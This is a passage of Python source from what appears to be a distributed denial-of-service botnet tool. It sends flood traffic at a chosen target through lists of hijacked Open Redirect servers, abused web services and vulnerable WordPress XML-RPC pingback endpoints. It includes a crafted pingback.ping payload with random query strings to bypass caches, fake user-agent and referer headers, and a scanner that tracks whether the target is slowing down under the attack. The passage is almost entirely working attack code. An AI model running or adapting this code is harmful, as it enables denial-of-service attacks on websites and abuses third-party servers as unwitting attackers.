  3971. print(("[Info] [AI] [Control] [UCAVs] "+str(ucav)+" is not working! -> [Discarding!]"))
  3972. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  3973. return ucavs
  3974. def send_ucavs(self, ucavs):
  3975. # extract external status checkers, perform a request and check results
  3976. time.sleep(5) # aiming (multi-threading flow time compensation)
  3977. if not self.options.disablepurge:
  3978. if not ucavs: # return when not any working
  3979. self.options.disableucavs = True
  3980. return
  3981. options = self.options
  3982. target = self.options.target
  3983. shuffle(ucavs) # shuffle ucavs order, each round :-)
  3984. if not self.options.disablepurge:
  3985. for ucav in ucavs:
  3986. if not ucav.startswith('http'): # discarded inmediately
  3987. self.discard_ucavs.append(ucav)
  3988. self.num_discard_ucavs = self.num_discard_ucavs + 1
  3989. ucavs = self.discarding_ucavs(ucav, ucavs) # check if ucav is failing for autobalance army
  3990. if not self.options.disablepurge:
  3991. if not ucavs: # return when not any working
  3992. self.options.disableucavs = True
  3993. return
  3994. shuffle(ucavs) # shuffle ucavs order, each discarding check :-)
  3995. for ucav in ucavs:
  3996. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3997. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3998. if target.startswith("http://"): # parse target for some checkers
  3999. target = target.replace('http://','')
  4000. elif target.startswith("https://"):
  4001. target = target.replace('https://','')
  4002. url = ucav + target
  4003. t = urlparse(ucav)
  4004. name_ucav = t.netloc
  4005. if name_ucav == "":
  4006. name_ucav = ucav
  4007. if options.verbose:
  4008. print(("[Info] [UCAVs] Sniping: " + url))
  4009. try:
  4010. if options.proxy: # set proxy
  4011. self.proxy_transport(options.proxy)
  4012. if options.timeout: # set timeout
  4013. ucav_timeout = options.timeout
  4014. else:
  4015. ucav_timeout = 5
  4016. if ucav_timeout < 1:
  4017. ucav_timeout = 5
  4018. req = urllib.request.Request(url, None, headers)
  4019. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=ucav_timeout).read().decode('utf-8')
  4020. self.ucavs_hit = self.ucavs_hit + 1 # add ucav hit to stats
  4021. except:
  4022. print("[Info] [UCAVs] " + name_ucav + " -> FAILED (cannot connect!)")
  4023. if not self.options.disablepurge:
  4024. self.discard_ucavs.append(ucav)
  4025. self.num_discard_ucavs = self.num_discard_ucavs + 1
  4026. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  4027. target_reply = ""
  4028. if target_reply == "": # check for target's status resolved by [UCAVs]
  4029. pass
  4030. else:
  4031. if not "is down" or not "looks down" or not "No info found for host" in target_reply: # parse external service for reply
  4032. print("[Info] [UCAVs] " + name_ucav + " -> Target is ONLINE! -> [Keep shooting!]")
  4033. self.num_is_up = self.num_is_up + 1
  4034. else:
  4035. print("[Info] [UCAVs] " + name_ucav + " -> Target looks OFFLINE! -> [Checking!]")
  4036. self.num_is_down = self.num_is_down + 1
  4037. if self.options.verbose:
  4038. print("[Info] [AI] [UCAVs] "+str(name_ucav)+" is returning...")
  4039. self.extra_zombies_lock = False # [ARMY] have finished
  4040. def extract_median(self, num_list):
  4041. # extract median from a list of numbers
  4042. import statistics
  4043. int_num = []
  4044. for num in num_list:
  4045. num = float(num)
  4046. int_num.append(num)
  4047. return statistics.median(int_num)
  4048. def check_is_loading(self, target):
  4049. # perform a broadband test (using GET) to analize target's reply to the traffic generated each round
  4050. self.start = None
  4051. self.stop = None
  4052. print('\n---------')
  4053. print("\n[Info] [AI] Scanning target to check for levels on defensive shields...\n")
  4054. if target.endswith(""):
  4055. target.replace("", "/")
  4056. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4057. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4058. try:
  4059. req = urllib.request.Request(target, None, headers)
  4060. if self.options.proxy: # set proxy
  4061. self.proxy_transport(self.options.proxy)
  4062. if self.options.timeout: # set timeout
  4063. try:
  4064. timeout = int(self.options.timeout)
  4065. except:
  4066. timeout = 5
  4067. else:
  4068. timeout = 5
  4069. if timeout < 1:
  4070. timeout = 5
  4071. self.start = time.time()
  4072. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  4073. header = urllib.request.urlopen(req, context=self.ctx).info()
  4074. self.stop = time.time()
  4075. except:
  4076. print('[Info] [AI] Our scanner cannot connect to the target this round! -> [Skipping!]\n')
  4077. return
  4078. try:
  4079. s, size_name = self.convert_size(len(target_reply))
  4080. self.loadcheck_size_list.append(s) # add record to size list
  4081. size = '%s %s' % (s,size_name)
  4082. except:
  4083. size = "Error!"
  4084. try:
  4085. time_required = self.stop - self.start
  4086. load = self.convert_time(time_required)
  4087. self.loadcheck_load_list.append(load) # add record to load list
  4088. except:
  4089. load = "Error!"
  4090. self.loadcheck_counter = self.loadcheck_counter + 1
  4091. print(' -Total tests:', self.loadcheck_counter, "\n")
  4092. if self.loadcheck_prev_size is not None and self.loadcheck_prev_load is not None:
  4093. lsm = self.extract_median(self.loadcheck_size_list)
  4094. if lsm is not None:
  4095. self.loadcheck_size_median = str(lsm) + " " + size_name
  4096. else:
  4097. self.loadcheck_size_median = None
  4098. llm = self.extract_median(self.loadcheck_load_list)
  4099. if llm is not None:
  4100. self.loadcheck_load_median = str(llm) + " seconds"
  4101. else:
  4102. self.loadcheck_load_median = None
  4103. if self.loadcheck_counter == 2: # first round
  4104. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  4105. print(' -Bytes in (this round) :', size)
  4106. if self.loadcheck_size_median is not None:
  4107. print(' -Bytes in (median) :', self.loadcheck_size_median)
  4108. print(' ----')
  4109. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  4110. print(' -Load time (this round) :', load, "seconds")
  4111. if self.loadcheck_load_median is not None:
  4112. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  4113. else:
  4114. print("\n")
  4115. self.loadcheck_size_max = None
  4116. self.loadcheck_size_min = None
  4117. self.loadcheck_load_max = None
  4118. self.loadcheck_load_min = None
  4119. elif self.loadcheck_counter > 2: # rest of rounds
  4120. lsmax = max(self.loadcheck_size_list)
  4121. if lsmax is not None:
  4122. self.loadcheck_size_max = str(lsmax) + " " + size_name
  4123. else:
  4124. self.loadcheck_size_max = None
  4125. lsmin = min(self.loadcheck_size_list)
  4126. if lsmin is not None:
  4127. self.loadcheck_size_min = str(lsmin) + " " + size_name
  4128. else:
  4129. self.loadcheck_size_min = None
  4130. llmax = max(self.loadcheck_load_list)
  4131. if llmax is not None:
  4132. self.loadcheck_load_max = str(llmax) + " seconds"
  4133. else:
  4134. self.loadcheck_load_max = None
  4135. llmin = min(self.loadcheck_load_list)
  4136. if llmin is not None:
  4137. self.loadcheck_load_min = str(llmin) + " seconds"
  4138. else:
  4139. self.loadcheck_load_min = None
  4140. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  4141. print(' -Bytes in (previous round) :', self.loadcheck_prev_size)
  4142. print(' -Bytes in (this round) :', size)
  4143. if self.loadcheck_size_max is not None:
  4144. print(' -Bytes in (max) :', self.loadcheck_size_max)
  4145. if self.loadcheck_size_min is not None:
  4146. print(' -Bytes in (min) :', self.loadcheck_size_min)
  4147. if self.loadcheck_size_median is not None:
  4148. print(' -Bytes in (median) :', self.loadcheck_size_median)
  4149. print(' ----')
  4150. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  4151. print(' -Load time (previous round):', self.loadcheck_prev_load, "seconds")
  4152. print(' -Load time (this round) :', load, "seconds")
  4153. if self.loadcheck_load_max is not None:
  4154. print(' -Load time (max) :', self.loadcheck_load_max)
  4155. if self.loadcheck_load_min is not None:
  4156. print(' -Load time (min) :', self.loadcheck_load_min)
  4157. if self.loadcheck_load_median is not None:
  4158. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  4159. else:
  4160. print("\n")
  4161. if self.loadcheck_prev_load < load: # target is loading more slowly
  4162. print("[Info] [AI] [Scanner] Target is serving the content more slowly this round! ;-) -> [Keep shooting!]\n")
  4163. elif self.loadcheck_prev_load == load: # inmutable target
  4164. print("[Info] [AI] [Scanner] Attack is not having any effect on your target this round... -> [Keep shooting!]\n")
  4165. elif self.loadcheck_prev_load > load: # is target defending?
  4166. print("[Info] [AI] [Scanner] Target is loading this round faster than the previous one! -> DETECTED: [PROXY CACHE!!]\n")
  4167. else:
  4168. print(' -Bytes in (this round) :', size)
  4169. print(' -Load time (this round):', load, "seconds\n")
  4170. self.loadcheck_first_size = size
  4171. self.loadcheck_first_load = load
  4172. self.loadcheck_size_median = None
  4173. self.loadcheck_load_median = None
  4174. self.loadcheck_size_max = None
  4175. self.loadcheck_size_min = None
  4176. self.loadcheck_load_max = None
  4177. self.loadcheck_load_min = None
  4178. self.loadcheck_prev_size = size # record previous size
  4179. self.loadcheck_prev_load = load # record previous load
  4180. def convert_size(self, size):
  4181. if (size == 0):
  4182. return '0 B'
  4183. size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
  4184. i = int(math.floor(math.log(size,1024)))
  4185. p = math.pow(1024,i)
  4186. s = round(size/p,2)
  4187. return s, size_name[i]
  4188. def convert_time(self, time):
  4189. return '%.2f' % time
  4190. def discarding_zombies(self, zombie, zombies):
  4191. if zombie in self.discardzombies:
  4192. zombies.remove(zombie)
  4193. if self.options.verbose:
  4194. print(("[Info] [AI] [Control] [Zombies] "+str(zombie)+" is not working! -> [Discarding!]"))
  4195. return zombies
  4196. def send_zombies(self, zombies):
  4197. # send Open Redirect zombies
  4198. time.sleep(1) # aiming (multi-threading flow time compensation)
  4199. if not self.options.disablepurge:
  4200. if not zombies:
  4201. self.empty_zombies = True
  4202. return
  4203. if self.options.verbose:
  4204. print("[Info] [AI] [Control] Deploying [Zombies] with 'maser-melee' weapons...")
  4205. options = self.options
  4206. target = self.options.target
  4207. shuffle(zombies) # shuffle zombies order, each round :-)
  4208. if not self.options.disablepurge:
  4209. for zombie in zombies: # check if zombie is failing for autobalance army
  4210. if not zombie.startswith('http'): # discarded inmediately
  4211. self.discardzombies.append(zombie)
  4212. self.num_discard_zombies = self.num_discard_zombies + 1
  4213. zombies = self.discarding_zombies(zombie, zombies)
  4214. if not self.options.disablepurge:
  4215. if not zombies: # return when not any working
  4216. self.empty_zombies = True
  4217. return
  4218. for zombie in zombies:
  4219. t = urlparse(zombie)
  4220. name_zombie = t.netloc
  4221. if name_zombie == "":
  4222. name_zombie = zombie
  4223. if not self.options.attackme:
  4224. print("[Info] [Zombies] Attacking from: " + name_zombie)
  4225. else: # on attackme, target url is dynamic -> http://public_ip:port/hash|zombie
  4226. self.mothership_hash = random.getrandbits(128) # generating random evasion hash
  4227. target = "http://" + str(self.pub_ip) + ":" + self.port + "/"+ str(self.mothership_hash) + "|" + zombie
  4228. self.options.target = target
  4229. print("[Info] [Zombies] Attacking: " + str(self.pub_ip) + ":" + self.port + " -> [LAN]" + self.local_ip + ":" + self.port)
  4230. print("[Info] [Zombies] Payload: " + target)
  4231. print('='*55, "\n")
  4232. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4233. if not options.target.startswith('http'):
  4234. if options.forcessl:
  4235. options.target = "https://" + options.target
  4236. else:
  4237. options.target = "http://" + options.target
  4238. self.attack_mode = True
  4239. try:
  4240. if options.verbose:
  4241. print("[Info] [Zombies] Sniping: " + options.target)
  4242. self.connect_zombies(zombie)
  4243. if self.options.dbstress: # try to stress db on target by using vulnerable Open Redirect web servers
  4244. self.db_flash = self.db_flash + 1
  4245. stress = self.stressing(target, zombie)
  4246. except Exception:
  4247. print("[Info] [Zombies] " + zombie + " -> FAILED (cannot connect!)")
  4248. self.total_zombies_failed_connection = self.total_zombies_failed_connection + 1 # used to manage threading pool
  4249. if not self.options.disablepurge:
  4250. self.discardzombies.append(zombie)
  4251. self.num_discard_zombies = self.num_discard_zombies + 1
  4252. if self.options.verbose:
  4253. print("[Info] [AI] [Zombies] "+str(name_zombie)+" is returning...")
  4254. self.attack_mode = False
  4255. def discarding_aliens(self, alien, aliens):
  4256. if alien in self.discard_aliens:
  4257. aliens.remove(alien)
  4258. if self.options.verbose:
  4259. print(("[Info] [AI] [Control] [Aliens] "+str(alien)+" is not working! -> [Discarding!]"))
  4260. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  4261. return aliens
  4262. def send_aliens(self, aliens):
  4263. # extract external web abuse services urls (POST) and perform requests against target
  4264. time.sleep(2) # aiming (multi-threading flow time compensation)
  4265. if not self.options.disablepurge:
  4266. if not aliens: # return when not any working
  4267. self.options.disablealiens = True
  4268. return
  4269. target = self.options.target
  4270. options = self.options
  4271. shuffle(aliens) # shuffle aliens
  4272. if not self.options.disablepurge:
  4273. for alien in aliens:
  4274. if not alien.startswith('http'): # discarded inmediately
  4275. self.discard_aliens.append(alien)
  4276. self.num_discard_aliens = self.num_discard_aliens + 1
  4277. aliens = self.discarding_aliens(alien, aliens) # check if alien is failing for autobalance army
  4278. if not self.options.disablepurge:
  4279. if not aliens: # return when not any working
  4280. self.options.disablealiens = True
  4281. return
  4282. shuffle(aliens) # shuffle aliens order, each discarding check :-)
  4283. for alien in aliens:
  4284. name_alien = None
  4285. if "$POST" in alien: # extract alien/parameters -> search for $POST delimiter on 'aliens.txt' file
  4286. regex_alien = re.compile('{}(.*){}'.format(re.escape(''), re.escape(';$POST'))) # regex magics
  4287. pattern_alien = re.compile(regex_alien)
  4288. alien_url = re.findall(pattern_alien, alien) # HTTP POST url for submit data
  4289. regex_param = re.compile('{}(.*){}'.format(re.escape('$POST;'), re.escape(''))) # regex magics
  4290. pattern_param = re.compile(regex_param)
  4291. param = re.findall(pattern_param, alien) # HTTP POST params to submit
  4292. for u in alien_url:
  4293. url = u # ex: POST -> path/submit.php
  4294. t = urlparse(url)
  4295. name_alien = t.netloc
  4296. if name_alien == "":
  4297. name_alien = alien
  4298. print("[Info] [Aliens] Attacking from: " + name_alien)
  4299. for p in param:
  4300. param_target = {p : target} # ex POST -> url=target
  4301. param_target = urllib.parse.urlencode(param_target)
  4302. try:
  4303. if options.verbose:
  4304. print("[Info] [Aliens] Sniping: " + url + " - POST:", param_target)
  4305. if options.proxy: # set proxy
  4306. self.proxy_transport(options.proxy)
  4307. if self.options.timeout: # set timeout
  4308. try:
  4309. alien_timeout = int(self.options.timeout)
  4310. except:
  4311. alien_timeout = 5
  4312. else:
  4313. alien_timeout = 5
  4314. if alien_timeout < 1:
  4315. alien_timeout = 5
  4316. req = urllib.request.Request(url, param_target.encode('utf-8'))
  4317. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=alien_timeout)
  4318. self.aliens_hit = self.aliens_hit + 1 # add hit to aliens stats
  4319. except Exception:
  4320. print("[Info] [Aliens] " + name_alien + " -> FAILED (cannot connect!)")
  4321. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  4322. if not self.options.disablepurge:
  4323. self.discard_aliens.append(alien)
  4324. self.num_discard_aliens = self.num_discard_aliens + 1
  4325. else:
  4326. print(("[Info] [Aliens] "+str(alien)+" -> FAILED (invalid alien!)"))
  4327. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  4328. if not self.options.disablepurge:
  4329. self.discard_aliens.append(alien)
  4330. self.num_discard_aliens = self.num_discard_aliens + 1
  4331. if self.options.verbose:
  4332. if name_alien:
  4333. print("[Info] [AI] [Aliens] "+str(name_alien)+" is returning...")
  4334. else:
  4335. print("[Info] [AI] [Aliens] "+str(alien)+" is returning...")
  4336. if self.options.disabledroids and self.options.disablerpcs and self.options.disableucavs:
  4337. self.extra_zombies_lock = False # [ARMY] have finished
  4338. def extract_aliens(self):
  4339. # extract aliens from file
  4340. options = self.options
  4341. try:
  4342. f = open(self.aliens_file)
  4343. aliens = f.readlines()
  4344. aliens = [ alien.replace('\n','') for alien in aliens ]
  4345. f.close()
  4346. if not aliens:
  4347. print("[Info] [AI] [Control] Cannot retrieve [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  4348. self.options.disablealiens = True
  4349. return
  4350. else:
  4351. return aliens
  4352. except:
  4353. if os.path.exists(self.aliens_file) == True:
  4354. print("[Info] [AI] [Control] Cannot open [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  4355. return #sys.exit(2)
  4356. else:
  4357. print("[Info] [AI] [Control] Cannot found [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  4358. return #sys.exit(2)
  4359. def discarding_droids(self, droid, droids):
  4360. if droid in self.discard_droids:
  4361. droids.remove(droid)
  4362. if self.options.verbose:
  4363. print(("[Info] [AI] [Control] [Droids] "+str(droid)+" is not working! -> [Discarding!]"))
  4364. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  4365. return droids
  4366. def send_droids(self, droids):
  4367. # extract external web abuse services urls (GET) and perform requests against target
  4368. time.sleep(3) # aiming (multi-threading flow time compensation)
  4369. if not self.options.disablepurge:
  4370. if not droids: # return when not any working
  4371. self.options.disabledroids = True
  4372. return
  4373. target = self.options.target
  4374. try:
  4375. target = urllib.parse.unquote(target).decode('utf8') # parte urlencoding
  4376. except:
  4377. target = urllib.parse.unquote(target)
  4378. if target.startswith('http://'): # remove http
  4379. target = target.replace('http://', '')
  4380. if target.startswith('https://'):
  4381. target = target.replace('https://', '') # remove https
  4382. options = self.options
  4383. shuffle(droids) # shuffle droids
  4384. if not self.options.disablepurge:
  4385. for droid in droids:
  4386. if not droid.startswith('http'): # discarded inmediately
  4387. self.discard_droids.append(droid)
  4388. self.num_discard_droids = self.num_discard_droids + 1
  4389. droids = self.discarding_droids(droid, droids) # check if droid is failing for autobalance army
  4390. if not self.options.disablepurge:
  4391. if not droids: # return when not any working
  4392. self.options.disabledroids = True
  4393. return
  4394. shuffle(droids) # shuffle droids order, each discarding check :-)
  4395. for droid in droids:
  4396. name_droid = None
  4397. if "$TARGET" in droid: # replace droid/parameter for target
  4398. url = droid.replace("$TARGET", target)
  4399. t = urlparse(url)
  4400. name_droid = t.netloc
  4401. if name_droid == "":
  4402. name_droid = droid
  4403. print("[Info] [Droids] Attacking from: " + name_droid)
  4404. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4405. headers = {'User-Agent' : self.user_agent, 'Content-type' : "application/x-www-form-urlencoded", 'Referer' : self.referer, 'Connection' : 'keep-alive'} # set fake headers
  4406. try:
  4407. if options.proxy: # set proxy
  4408. self.proxy_transport(options.proxy)
  4409. if self.options.timeout: # set timeout
  4410. try:
  4411. droid_timeout = int(self.options.timeout)
  4412. except:
  4413. droid_timeout = 5
  4414. else:
  4415. droid_timeout = 5
  4416. if droid_timeout < 1:
  4417. droid_timeout = 5
  4418. req = urllib.request.Request(url, None, headers)
  4419. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=droid_timeout)
  4420. self.droids_hit = self.droids_hit + 1 # add hit to droids stats
  4421. except Exception:
  4422. print("[Info] [Droids] " + name_droid + " -> FAILED (cannot connect!)")
  4423. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  4424. if not self.options.disablepurge:
  4425. self.discard_droids.append(droid)
  4426. self.num_discard_droids = self.num_discard_droids + 1
  4427. else:
  4428. print("[Info] [Droids] " + str(droid) + " -> FAILED (invalid droid!)")
  4429. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  4430. if not self.options.disablepurge:
  4431. self.discard_droids.append(droid)
  4432. self.num_discard_droids = self.num_discard_droids + 1
  4433. if self.options.verbose:
  4434. if name_droid:
  4435. print("[Info] [AI] [Droids] "+str(name_droid)+" is returning...")
  4436. else:
  4437. print("[Info] [AI] [Droids] "+str(droid)+" is returning...")
  4438. if self.options.disablerpcs and self.options.disableucavs:
  4439. self.extra_zombies_lock = False # [ARMY] have finished
  4440. def extract_droids(self):
  4441. # extract droids from file
  4442. options = self.options
  4443. try:
  4444. f = open(self.droids_file)
  4445. droids = f.readlines()
  4446. droids = [ droid.replace('\n','') for droid in droids ]
  4447. f.close()
  4448. if not droids:
  4449. print("[Info] [AI] [Control] Cannot retrieve [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  4450. self.options.disabledroids = True
  4451. return
  4452. else:
  4453. return droids
  4454. except:
  4455. if os.path.exists(self.droids_file) == True:
  4456. print("[Info] [AI] [Control] Cannot open [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  4457. return #sys.exit(2)
  4458. else:
  4459. print("[Info] [AI] [Control] Cannot found [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  4460. return #sys.exit(2)
  4461. def discarding_rpcs(self, rpc, rpcs):
  4462. if rpc in self.discard_rpcs:
  4463. rpcs.remove(rpc)
  4464. if self.options.verbose:
  4465. print(("[Info] [AI] [Control] [X-RPCs] "+str(rpc)+" is not working! -> [Discarding!]"))
  4466. return rpcs
  4467. def send_rpcs(self, rpcs):
  4468. # extract vulnerable XML-RPC pingback services and perform requests against target
  4469. time.sleep(4) # aiming (multi-threading flow time compensation)
  4470. if not self.options.disablepurge:
  4471. if not rpcs: # return when not any working
  4472. self.options.disablerpcs = True
  4473. return
  4474. target = self.options.target
  4475. options = self.options
  4476. def random_key(length):
  4477. key = ''
  4478. for i in range(length):
  4479. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  4480. return key
  4481. shuffle(rpcs) # shuffle rpcs
  4482. if not self.options.disablepurge:
  4483. for rpc in rpcs:
  4484. if not rpc.startswith('http'): # discarded inmediately
  4485. if not self.options.disablepurge:
  4486. self.discard_rpcs.append(rpc)
  4487. self.num_discard_rpcs = self.num_discard_rpcs + 1
  4488. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  4489. rpcs = self.discarding_rpcs(rpc, rpcs) # check if rpc is failing for autobalance army
  4490. if not self.options.disablepurge:
  4491. if not rpcs: # return when not any working
  4492. self.options.disablerpcs = True
  4493. return
  4494. shuffle(rpcs) # shuffle rpcs order, each discarding check :-)
  4495. for rpc in rpcs:
  4496. t = urlparse(rpc)
  4497. name_rpc = t.netloc
  4498. if name_rpc == "":
  4499. name_rpc = rpc
  4500. print("[Info] [X-RPCs] Attacking from: " + name_rpc)
  4501. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4502. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4503. key = random_key(8) # generate random value page to bypass cache
  4504. rpc_page = "?" + str(key)
  4505. key = random_key(6) # re-generate random value id to bypass cache
  4506. rpc_id = "=" + str(key)
  4507. target_place = target + rpc_page + rpc_id # random place to bypass cache (ex: www.target.com?U7OvBdp1=4lMcNj)
  4508. if "/xmlrpc.php" in rpc:
  4509. rpc_place = rpc.replace("xmlrpc.php", "")
  4510. rpc_exploit = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>"+target_place+"</string></value></param><param><value><string>"+rpc_place+"</string></value></param></params></methodCall>"
  4511. try:
  4512. if options.proxy: # set proxy
  4513. self.proxy_transport(options.proxy)
  4514. if self.options.timeout: # set timeout
  4515. try:
  4516. rpc_timeout = int(self.options.timeout)
  4517. except:
  4518. rpc_timeout = 5
  4519. else:
  4520. rpc_timeout = 5
  4521. if rpc_timeout < 1:
  4522. rpc_timeout = 5
  4523. req = urllib.request.Request(rpc, rpc_exploit.encode('utf-8'), headers)
  4524. urllib.request.urlopen(req, context=self.ctx, timeout=rpc_timeout)
  4525. self.rpcs_hit = self.rpcs_hit + 1 # add rpc hit to stats
  4526. if self.options.verbose:
  4527. print("[Info] [X-RPCs] Reply:", target_reply)
  4528. except:
  4529. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (cannot connect!)")
  4530. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  4531. if not self.options.disablepurge:
  4532. self.discard_rpcs.append(rpc)
  4533. self.num_discard_rpcs = self.num_discard_rpcs + 1
  4534. else:
  4535. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (invalid X-RPC!)")
  4536. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  4537. if not self.options.disablepurge:
  4538. self.discard_rpcs.append(rpc)
  4539. self.num_discard_rpcs = self.num_discard_rpcs + 1
  4540. if self.options.verbose:
  4541. print("[Info] [AI] [X-RPCs] "+str(name_rpc)+" is returning...")
  4542. if self.options.disableucavs:
  4543. self.extra_zombies_lock = False # [ARMY] have finished
  4544. def extract_rpcs(self):
  4545. # extract rpcs from file
  4546. options = self.options
  4547. try:
  4548. f = open(self.rpcs_file)
  4549. rpcs = f.readlines()
  4550. rpcs = [ rpc.replace('\r','') for rpc in rpcs ]
  4551. rpcs = [ rpc.replace('\n','') for rpc in rpcs ]
  4552. f.close()
  4553. if not rpcs:
  4554. print("[Info] [AI] [Control] Cannot retrieve [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  4555. self.options.disablerpcs = True
  4556. return
  4557. else:
  4558. return rpcs
  4559. except:
  4560. if os.path.exists(self.rpcs_file) == True:
  4561. print("[Info] [AI] [Control] Cannot open [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  4562. return
  4563. else:
  4564. print("[Info] [AI] [Control] Cannot found [X-RPCs] from: 'botnet/rpcs.txt' [Discarding!]")
  4565. return
  4566. def extract_ntps(self):
  4567. # extract ntps from file
  4568. options = self.options
  4569. try:
  4570. f = open(self.ntps_file)
  4571. ntps = f.readlines()
  4572. ntps = [ ntp.replace('\r','') for ntp in ntps ]
  4573. ntps = [ ntp.replace('\n','') for ntp in ntps ]
  4574. f.close()
  4575. if not ntps:
  4576. print("[Info] [AI] [Control] Cannot retrieve [NTPs] from: 'botnet/ntp.txt' -> [Discarding!]")
  4577. return
  4578. else:
  4579. return ntps
  4580. except:
  4581. if os.path.exists(self.ntps_file) == True:
  4582. print("[Info] [AI] [Control] Cannot open [NTPs] from: 'botnet/ntp.txt' -> [Discarding!]")
  4583. return
  4584. else:
  4585. print("[Info] [AI] [Control] Cannot found [NTPs] from: 'botnet/ntp.txt' [Discarding!]")
  4586. return
  4587. def extract_dnss(self):
  4588. # extract dnss from file
  4589. options = self.options
  4590. try:
  4591. f = open(self.dnss_file)
  4592. dnss = f.readlines()
  4593. dnss = [ dns.replace('\r','') for dns in dnss ]
  4594. dnss = [ dns.replace('\n','') for dns in dnss ]
  4595. f.close()
  4596. if not dnss:
  4597. print("[Info] [AI] [Control] Cannot retrieve [DNSs] from: 'botnet/dns.txt' -> [Discarding!]")
  4598. return
  4599. else:
  4600. return dnss
  4601. except:
  4602. if os.path.exists(self.dnss_file) == True:
  4603. print("[Info] [AI] [Control] Cannot open [DNSs] from: 'botnet/dns.txt' -> [Discarding!]")
  4604. return
  4605. else:
  4606. print("[Info] [AI] [Control] Cannot found [DNSs] from: 'botnet/dns.txt' [Discarding!]")
  4607. return
  4608. def extract_snmps(self):
  4609. # extract snmps from file
  4610. options = self.options
  4611. try:
  4612. f = open(self.snmps_file)
  4613. snmps = f.readlines()
  4614. snmps = [ snmp.replace('\r','') for snmp in snmps ]
  4615. snmps = [ snmp.replace('\n','') for snmp in snmps ]
  4616. f.close()
  4617. if not snmps:
  4618. print("[Info] [AI] [Control] Cannot retrieve [SNMPs] from: 'botnet/snmp.txt' -> [Discarding!]")
  4619. return
  4620. else:
  4621. return snmps
  4622. except:
  4623. if os.path.exists(self.snmps_file) == True:
  4624. print("[Info] [AI] [Control] Cannot open [SNMPs] from: 'botnet/snmp.txt' -> [Discarding!]")
  4625. return
  4626. else:
  4627. print("[Info] [AI] [Control] Cannot found [SNMPs] from: 'botnet/snmp.txt' [Discarding!]")
  4628. return
  4629. def extract_zombies(self):
  4630. options = self.options
  4631. if self.options.test:
  4632. try:
  4633. f = open(options.test)
  4634. zombies = f.readlines()
  4635. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  4636. f.close()
  4637. if not zombies:
  4638. print("\n[Error] [AI] [Control] Cannot retrieve [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4639. return
  4640. else:
  4641. return zombies
  4642. except:
  4643. if os.path.exists(options.test) == True:
  4644. print("\n[Error [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4645. return #sys.exit(2)
  4646. else:
  4647. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4648. return #sys.exit(2)
  4649. else:
  4650. try:
  4651. f = open(self.zombies_file)
  4652. zombies = f.readlines()
  4653. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  4654. f.close()
  4655. if not zombies:
  4656. print("\n[Error] [AI] You haven't [Zombies] to be extracted from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4657. return
  4658. else:
  4659. return zombies
  4660. except:
  4661. if os.path.exists(self.zombies_file) == True:
  4662. print("\n[Error] [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4663. return #sys.exit(2)
  4664. else:
  4665. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  4666. return #sys.exit(2)
  4667. def extract_target_list(self):
  4668. options = self.options
  4669. try:
  4670. f = open(options.target_list)
  4671. targets = f.readlines()
  4672. targets = [ target.replace('\n','') for target in targets ]
  4673. f.close()
  4674. if not targets:
  4675. print("\n[Error] [AI] [Control] Cannot retrieve [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  4676. return
  4677. else:
  4678. return targets
  4679. except:
  4680. if os.path.exists(options.target_list) == True:
  4681. print("\n[Error] [AI] [Control] Cannot found [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  4682. return #sys.exit(2)
  4683. else:
  4684. print("\n[Error] [AI] [Control] Cannot open [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  4685. return #sys.exit(2)
  4686. def update_zombies(self, zombies_ready):
